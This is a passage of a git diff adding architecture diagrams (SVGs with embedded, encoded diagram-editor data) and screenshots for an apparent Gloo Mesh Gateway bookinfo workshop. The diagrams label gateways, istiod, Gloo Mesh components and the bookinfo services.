Q0eYjqeAXHUwMDBmiDKMmIp+mFx1MDAxZL7/McWGWHJcdTAwMTSucoTFtqVytlx1MDAwMlx1MDAwZbkp52hcdTAwMDJcdTAwMWJ+wOGngsMleGpcdTAwMGLgMOTgQlx1MDAwNNpwzCRcdTAwMTBwvUKhoXDJXHUwMDE304NcdTAwMGLBmKWVOf5cdTAwMTKSm+TTXHUwMDA1NqXKklx1MDAwMJGFqTkhXHUwMDFjXHUwMDE5sFs9uVDawkSZtGfzk1win3p7xNKCcLhHOeNcXGPqSZeAXHUwMDFiVJiy1Dvj3691dGFcdTAwMGVllZi1YTZZyj7nXHUwMDE2JsFcdTAwMDBhkzMrfkWE/n7HiudcdTAwMTbhXGZ84D63kMjkXGZIQpg23dh9umxii0gsXGLiXG7eXCJcdTAwMTnxnlx1MDAxM3+xhpaB1G2uhJew5+P95XxdXbpJXHUwMDEyXGZDNGVwn85TbZeLt1BcdTAwMDBcdTAwMTZT8aaxtpjGJkSSwc+FkqIg3mD5XHQ3XHUwMDE5XHUwMDExgjiram23XHUwMDFiOVx1MDAxMFx1MDAwMGNYYVOdW2O/fFBsMcSAUaniplx1MDAxMlx1MDAwMkNcdTAwMWV8YvpXI0z/5dItsiwxKdnaVILCmEiTi45cdTAwMWTplPNcdTAwMDYtXHUwMDE4XHUwMDExmCA1ZVxcNFx1MDAxMt7ItUhcdTAwMDJumrd740LttlO4f32RpdrrYIyv/CeFlKl4pDRcdTAwMTdYm3hb77msNIUtmVx1MDAwMoqjhlx1MDAwMenXjqZcdTAwMGKmbXMlvGS9NeGmULD73WRVXHRzJlx1MDAxZlm4hVx1MDAxZmjEU7iB2raUMDmCXHUwMDE0JFx1MDAxY3Ugot+yzbSn0CC5JJKSqOB44Y2gXHUwMDFisyiTWDLMZ/Xv/GKFgVUpRUa+MpN3z71cdTAwMWTymDB9u4ja3UFtLKRbuFx1MDAxZtyNlDBcdTAwMDKFZSpsXHUwMDEwqijYsD6tv7llwomkkHhWXHUwMDE0cs1g4edUt3pRerpcdTAwMWTlipnKVU9cck/LV9Mg+Fx1MDAwNpKNXHUwMDEzU4JIilnIsGdSYNVzXHUwMDAweMxkMChcdTAwMDDjW2lHvr+wk0Dynt31Uvb2sJsjXHUwMDFmfEG8XHQhjD+cR4du4ceq8ZRuWprO9mC+KIONqVo8XFykXHUwMDAy7Fx1MDAxYlxyQo5cdTAwMDBJXCK+I+m2XHLDXHUwMDE0MIiAO+rfbplGlm4g3DTSnDJl2sk5W7s5rUApNGhwZILxhf5cYsRfXHUwMDE1ukVcdTAwMGZhxqaZXHUwMDE5QqbsmmldzLyyTVtAXHUwMDAzIG2ZoKbAzFZcIur+xYZp+JlscFx1MDAxNyPMuSn6jlfo9lx1MDAxMt7XMa4ucsa169jVXHLgQN1Y3HlaullcdTAwMTPjIFx1MDAxMUeQckVpML8yx0RY2nk5pvInS12YNHfB4lx1MDAxOWp3mKFVfpPKtlHtpJS4OrffipfO9uVcdTAwMWWV/HEn/FBqT72T12c7olx1MDAwMl1CRFx1MDAxYf8p4tFcdTAwMGamXkm3YF+q9tv5bZVNSuwhUTg5Wlx1MDAwN1YsUvYueU65olmROz2eUlx1MDAxY5XnXCIkWf5X2WblatnLc2tGQoBccme8ovFkscRL+3GCn3r0TFxy71uv6lx1MDAxNVx1MDAxN9NP/qzwXHUwMDEzXHSx+rhbX95lQVx1MDAwMP5cdTAwMGb8XHUwMDA0+Vx1MDAxNXSoToLj8E3JeErwXG5JRuHLXHUwMDE5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MDAwYvk3Zb33KaJcYoth4SnDNWaW9CXDQ8FYxCn6WXOq5Fx1MDAwMc+JXHUwMDBl4WtcdTAwMWFcZuvdkiOwsoWBXHUwMDA3XG6sNlx1MDAwMJI1XHUwMDA3049cdTAwMTnuXHUwMDBlpzjCbswoJOFcXCn/x1VvV7Fav/VA05fJXG7jnbvXYWVcdTAwMTiLNpjS3JxHMTDs8Px1xdTRXGJZ1PhYXHUwMDE5sCHiypVccv1AKUJUoexwdLtcdTAwMWKUkkgzmDM/nPPXS83VrnLi+PjhWlx1MDAxNFxump89ptl5vdb8hlJBQamQljekYVx1MDAxZvStVlTlXHUwMDFhzZfLflWN46O3cSOIMOA6irVl7fm+cX+VfVx1MDAxN62YKNdaXHUwMDAxjJtDRVnNo35cdTAwMWE/XGbv84k4SuC3Tlx1MDAwMOPOzmfNaY7G6tPS8SnNPqJp9+YygHEvejSNxqiXbJ/eXlxmxmM8fMzul/uzXHRTOlx1MDAxM8ohMSX1SLab345y/1x1MDAwMdbefFx1MDAxMFFMXHTA2VuVcUv5UWWf5LXjJqHOeFx1MDAxN/8kQJlodbtHmfKgdvRPJ19dWr5PcNptwGer2HIx2Vx1MDAxZlPdiTFcdHZccpalTFx1MDAxMqX0XHUwMDE2tl7p8bWp758v4iedi+dMNf/+ftq+jzbAJCZcdTAwMDbPIzqQXHUwMDEzXHUwMDFkXFxcdTAwMWO5XHUwMDFiwiQ29vtgSVvCyUcwoFJCwFx1MDAwYlxyjSdDyXJw5EnllydcdTAwMGLdbrPeqXRjlT58sdwpXHL+6XTy7TJcYrhi2ZE/xa78Oez23Jhz6TlWOdF7irvxJfeI9uGUKKH9e9FcdTAwMDfvJ9XRuEbPXG7ppFx1MDAxOOZcdTAwMDGLXHUwMDE1T4dR50ssLe3Ol1x1MDAxMpHgQthd+ZI6XHUwMDA0ra/zJWHMxFx1MDAwZoeYeb5Pkt+BYnRcdTAwMDNierNd0eZ5p1x1MDAxOXqy/I9VduB5qt2Dk2GhucTbZCF6pypElempxaUmXGYoSyMqVpWxJJY0XHUwMDE310hTtV+kvqu7R1xui2vNNFx1MDAxN1x1MDAxY1x1MDAxOFvJdVx1MDAxMYAsmCHIJS2RYFx1MDAxMittS/z6KVx1MDAxM1x1MDAxOFx1MDAxNYxRXHUwMDE1ovsnXFxVPVx1MDAxOOb7w5N6p1TvVFc/XHUwMDAzal98spA4v1xusqR8JE7NJUBxNPixmJRcdTAwMGJcboJcdTAwMWN2XHI2RWBq+1Y13zPzJlx1MDAxNidcdTAwMTKWXHUwMDE0a9BcdTAwMGKCXGL+81x1MDAxYv9dPER+MDztttv1ITzqTbfeXHUwMDE5Oj7SsWG+Wjm/xt/wUPbPVrm0Z0ZcXN67xb+OXHUwMDE2dDz/5ePf//cvx2/HXFxpbP6pXHUwMDAzeS1G/Mv+c2tcdTAwMTHDJFt9d5H/oDXnmPhcdTAwMGZcIvbWLFGVMCBCuElnllJcdTAwMGK79fNcdTAwMDNWUFx1MDAwZZTGQLiYY1x1MDAxZrkyr3BcdTAwMDRcZnHwJyNLXHUwMDEzXG5izkR